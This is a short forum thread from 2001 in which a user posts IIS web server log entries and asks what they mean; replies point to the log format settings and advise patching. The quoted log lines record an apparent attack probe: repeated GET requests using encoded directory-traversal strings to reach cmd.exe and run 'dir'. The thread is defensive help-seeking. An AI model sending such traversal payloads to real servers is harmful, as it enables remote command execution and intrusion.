IIS LOG HELP

[wardo]

This is from my IIS log could somebody explain to me please what was occurring here.

Thanks.
64.174.228.143, -, 7/13/2001, 22:53:51, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 50, 66, 3396, 404, 3, GET, /winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:53:53, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 66, 3396, 404, 3, GET, /winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:53:54, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 10, 66, 0, 500, 87, GET, /scripts/..Á%pc../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:53:54, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 66, 0, 500, 87, GET, /scripts/..À%9v../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:53:56, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 66, 0, 500, 87, GET, /scripts/..À%qf../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:53:57, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 66, 0, 500, 87, GET, /scripts/..Á%8s../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:53:58, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 10, 66, 0, 500, 123, GET, /scripts/..Á ../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:53:59, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 66, 3396, 404, 3, GET, /winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:54:01, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 66, 3396, 404, 3, GET, /scripts/..o../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:54:03, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 69, 3396, 404, 3, GET, /winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:54:04, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 10, 72, 3396, 404, 3, GET, /scripts/..ð€€¯../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:54:06, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 75, 3396, 404, 3, GET, /scripts/..ø€€€¯../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:54:11, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 78, 3396, 404, 3, GET, /scripts/..ü€€€€¯../winnt/system32/cmd.exe, /c+dir,
64.174.228.143, -, 7/13/2001, 22:54:12, W3SVC1, GRIFFINW-OOE7, 192.168.0.9, 0, 95, 3396, 404, 3, GET, /winnt/system32/cmd.exe, /c+dir,

 

[sixthsense]

u can see that from the

http://www services

properties
just go to the 'enable logging' section in the website tab and click on the properties besides "W3C extended log file format"
u will find the parameters that r specified in ur logs
like client ip address,username etc.

Kapil
Technical Director
Infovalley Interwebspiders Pvt. Ltd.
Microsoft Certified System Engineer
visit

http://www.interwebspiders.com

If u find the information provided here useful to u then let me know by clicking on the link below s-)

 

[wardo]

Thanks but what I meant was what was this person trying to do and were they successful?
Run a script?

 

[Pistol]

Patch your server